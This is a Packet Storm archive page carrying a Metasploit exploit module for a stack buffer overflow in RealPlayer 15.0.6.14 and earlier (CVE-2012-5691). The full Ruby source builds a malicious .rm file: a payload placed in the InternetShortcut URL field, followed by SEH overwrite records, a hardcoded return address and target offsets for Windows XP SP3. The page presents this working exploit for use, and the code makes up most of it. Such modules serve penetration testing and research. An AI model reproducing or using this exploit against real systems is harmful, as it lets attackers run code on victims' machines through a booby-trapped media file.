exploit the possibilities

RealPlayer RealMedia File Handling Buffer Overflow

RealPlayer RealMedia File Handling Buffer Overflow
Posted Dec 28, 2012
Authored by suto | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow on RealPlayer versions 15.0.6.14 and below. The vulnerability exists in the handling of real media files, due to the insecure usage of the GetPrivateProfileString function to retrieve the URL property from an InternetShortcut section. This Metasploit module generates a malicious rm file which must be opened with RealPlayer via drag and drop or double click methods. It has been tested successfully on Windows XP SP3 with RealPlayer 15.0.5.109.

tags | exploit, overflow
systems | windows, xp
advisories | CVE-2012-5691, OSVDB-88486
MD5 | c7923d72a4dd90d23e0b05ddfd3b698b

RealPlayer RealMedia File Handling Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
The vulnerability exists in the handling of real media files, due to the insecure
usage of the GetPrivateProfileString function to retrieve the URL property from an
InternetShortcut section.

This module generates a malicious rm file which must be opened with RealPlayer via
drag and drop or double click methods. It has been tested successfully on Windows
XP SP3 with RealPlayer 15.0.5.109.
},
'License' => MSF_LICENSE,
'Author' =>
[
'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
],
'References' =>
[
[ 'CVE', '2012-5691' ],
[ 'OSVDB', '88486' ],
[ 'BID', '56956' ],
[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3 / Real Player 15.0.5.109',
{
'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll
'OffsetOne' => 2312, # Open via double click
'OffsetTwo' => 2964 # Open via drag and drop
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 14 2012',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

end

def exploit

buffer = payload.encoded
buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
buffer << generate_seh_record(target.ret)
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
buffer << generate_seh_record(target.ret)
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
buffer << rand_text(7000) # Generate exception

content = "[InternetShortcut]\nURL="
filecontent = content+buffer

file_create(filecontent)

end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close